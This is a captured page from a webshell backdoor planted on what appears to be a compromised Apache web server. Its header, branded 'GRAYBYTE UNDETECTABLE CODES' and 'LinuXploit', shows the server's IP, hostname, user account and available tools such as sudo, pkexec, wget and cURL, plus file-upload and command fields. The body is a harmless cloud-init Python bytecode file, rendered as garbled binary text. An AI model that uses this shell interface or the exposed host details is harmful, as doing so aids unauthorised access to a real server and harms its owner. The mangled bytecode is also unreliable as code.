- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.136.19.103
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/sources/azure/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/sources/azure/__pycache__/kvp.cpython-36.opt-1.pyc
3

\�meX�@s�ddlZddlmZddlmZddlmZddlmZmZddl	m
Z
mZeje
�Zeejd�dd	�Zeed
�dd�Ze
jed
�dd�Zed�dd�ZdS)�N)�datetime)�Optional)�version)�handlers�instantiated_handler_registry)�errors�identity)�returncCs tjjd�}t|tj�sdS|S)z'Get instantiated KVP telemetry handler.Z	telemetryN)rZregistered_items�get�
isinstancer�HyperVKvpReportingHandler)�kvp_handler�r�/usr/lib/python3.6/kvp.py�get_kvp_handlers
r)�reportr	cCs,t�}|dkrtjd�dS|jd|�dS)z/Report to host via PROVISIONING_REPORT KVP key.Nz.KVP handler not enabled, skipping host report.FZPROVISIONING_REPORTT)r�LOG�debugZ	write_key)rr
rrr�report_via_kvps
r)�errorr	cCst|j��S)N)rZas_encoded_report)rrrr�report_failure_to_host&srcCsrytj�}Wn,tk
r8}zd|��}WYdd}~XnXtjddtj���dtj�j	���d|��g�}t
|�S)Nzfailed to read vm id: zresult=successzagent=Cloud-Init/z
timestamp=zvm_id=)rZquery_vm_id�	ExceptionrZ
encode_reportrZversion_stringrZutcnowZ	isoformatr)Zvm_idZid_errorrrrr�report_success_to_host*sr)ZloggingrZtypingrZ	cloudinitrZcloudinit.reportingrrZcloudinit.sources.azurerrZ	getLogger�__name__rrr�str�boolrZReportableErrorrrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit